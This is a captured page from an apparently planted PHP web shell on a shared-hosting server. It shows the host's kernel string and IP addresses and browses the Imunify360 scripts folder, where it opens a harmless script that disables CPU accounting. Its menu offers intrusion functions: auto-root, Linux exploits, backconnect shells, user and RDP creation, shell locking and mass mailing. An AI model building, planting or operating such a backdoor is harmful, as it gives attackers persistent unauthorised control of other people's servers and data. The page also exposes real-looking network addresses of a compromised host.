Linux server123.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 198.54.126.127 | : 216.73.216.107
Cant Read [ /etc/named.conf ]
?8.4.14
ezdajrnh
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
imunify360 /
venv /
share /
imunify360 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
migrate_csf
[ DIR ]
drwxr-xr-x
check-detached.py
1.11
KB
-rwxr-xr-x
create_default_config
1.23
KB
-rwxr-xr-x
delay_on_cron_call.py
1.12
KB
-rwxr-xr-x
imunify-disable-cpu-accounting...
1020
B
-rwxr--r--
imunify-doctor.sh
17.29
KB
-rwxr--r--
imunify-force-update.sh
3.41
KB
-rwxr--r--
purge-clamav
535
B
-rwxr-xr-x
send-notifications
7.66
KB
-rwsrwx---
setup_cagefs.py
3.72
KB
-rwx------
track-fpfn-submissions.sh
3.8
KB
-rwxr-xr-x
update_components_versions.py
4.08
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : imunify-disable-cpu-accounting.sh
#!/bin/bash # Disable CPU accounting for all services in Imunify slice # some clients had issues with CPU accounting, so we provide this script to disable it # see enable-cgroup-accounting.sh in unified-access-logger repo for more details UNIT_DIR="/etc/systemd/system" # Function to create the override file for a systemd unit create_override() { local unit_name="$1" local override_path="$UNIT_DIR/$unit_name.d/override.conf" # Create the directory for the override file mkdir -p "$UNIT_DIR/$unit_name.d" # Create the override.conf file tee "$override_path" > /dev/null <<EOF [Service] CPUAccounting=false EOF echo "Override created for $unit_name" } # Get all of systemd services services=$(systemctl list-units --type=service --all --no-pager --no-legend | awk '{print $1}') for service in $services; do if systemctl show --property=Slice "$service" | grep "Slice=Imunify"; then echo "CPUAccounting disabled for $service" create_override "$service" fi done systemctl daemon-reload
Close